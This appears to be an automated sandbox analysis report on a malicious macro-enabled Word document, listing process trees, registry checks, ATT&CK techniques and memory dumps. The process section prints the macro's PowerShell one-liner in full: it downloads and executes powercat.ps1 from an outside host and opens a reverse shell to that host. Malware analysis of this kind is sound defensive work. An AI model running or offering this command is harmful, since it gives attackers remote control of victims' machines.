d638abd2e0c80c8ace2de8dc015b3a208916e6c4bd6a081a6fc2c09f8a77bc15

Analysis

max time kernel
107s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
23-03-2022 21:00

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General

Target

9.docm

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://192.168.5.128/powercat.ps1

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4976	2736	cmd.exe	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2736 WINWORD.EXE
2736 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

364 powershell.exe
364 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 364 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

2736 WINWORD.EXE
2736 WINWORD.EXE
2736 WINWORD.EXE
2736 WINWORD.EXE
2736 WINWORD.EXE
2736 WINWORD.EXE
2736 WINWORD.EXE

pid	process
2736	WINWORD.EXE
2736	WINWORD.EXE

pid	process
364	powershell.exe
364	powershell.exe

description	pid	process
Token: SeDebugPrivilege	364	powershell.exe

pid	process
2736	WINWORD.EXE
2736	WINWORD.EXE
2736	WINWORD.EXE
2736	WINWORD.EXE
2736	WINWORD.EXE
2736	WINWORD.EXE
2736	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 2736 wrote to memory of 4976	2736	WINWORD.EXE	cmd.exe
PID 2736 wrote to memory of 4976	2736	WINWORD.EXE	cmd.exe
PID 4976 wrote to memory of 364	4976	cmd.exe	powershell.exe
PID 4976 wrote to memory of 364	4976	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2736

C:\Windows\SYSTEM32\cmd.exe
cmd /c powershell -c IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.5.128/powercat.ps1');powercat -c 192.168.5.128 -p 1111 -e cmd
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4976

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -c IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.5.128/powercat.ps1');powercat -c 192.168.5.128 -p 1111 -e cmd
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:364

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/364-137-0x0000000000000000-mapping.dmp

Download
memory/364-140-0x00000250F6950000-0x00000250F6960000-memory.dmp

Filesize
64KB

Download
memory/364-139-0x00007FFC42DB0000-0x00007FFC43871000-memory.dmp

Filesize
10.8MB

Download
memory/364-138-0x00000250F6CE0000-0x00000250F6D02000-memory.dmp

Filesize
136KB

Download
memory/2736-133-0x00007FFC2E630000-0x00007FFC2E640000-memory.dmp

Filesize
64KB

Download
memory/2736-135-0x00007FFC2C0D0000-0x00007FFC2C0E0000-memory.dmp

Filesize
64KB

Download
memory/2736-134-0x00007FFC2E630000-0x00007FFC2E640000-memory.dmp

Filesize
64KB

Download
memory/2736-130-0x00007FFC2E630000-0x00007FFC2E640000-memory.dmp

Filesize
64KB

Download
memory/2736-131-0x00007FFC2E630000-0x00007FFC2E640000-memory.dmp

Filesize
64KB

Download
memory/2736-132-0x00007FFC2E630000-0x00007FFC2E640000-memory.dmp

Filesize
64KB

Download
memory/2736-141-0x00007FFC2E630000-0x00007FFC2E640000-memory.dmp

Filesize
64KB

Download
memory/2736-142-0x00007FFC2E630000-0x00007FFC2E640000-memory.dmp

Filesize
64KB

Download
memory/2736-143-0x00007FFC2E630000-0x00007FFC2E640000-memory.dmp

Filesize
64KB

Download
memory/2736-144-0x00007FFC2E630000-0x00007FFC2E640000-memory.dmp

Filesize
64KB

Download
memory/4976-136-0x0000000000000000-mapping.dmp

Download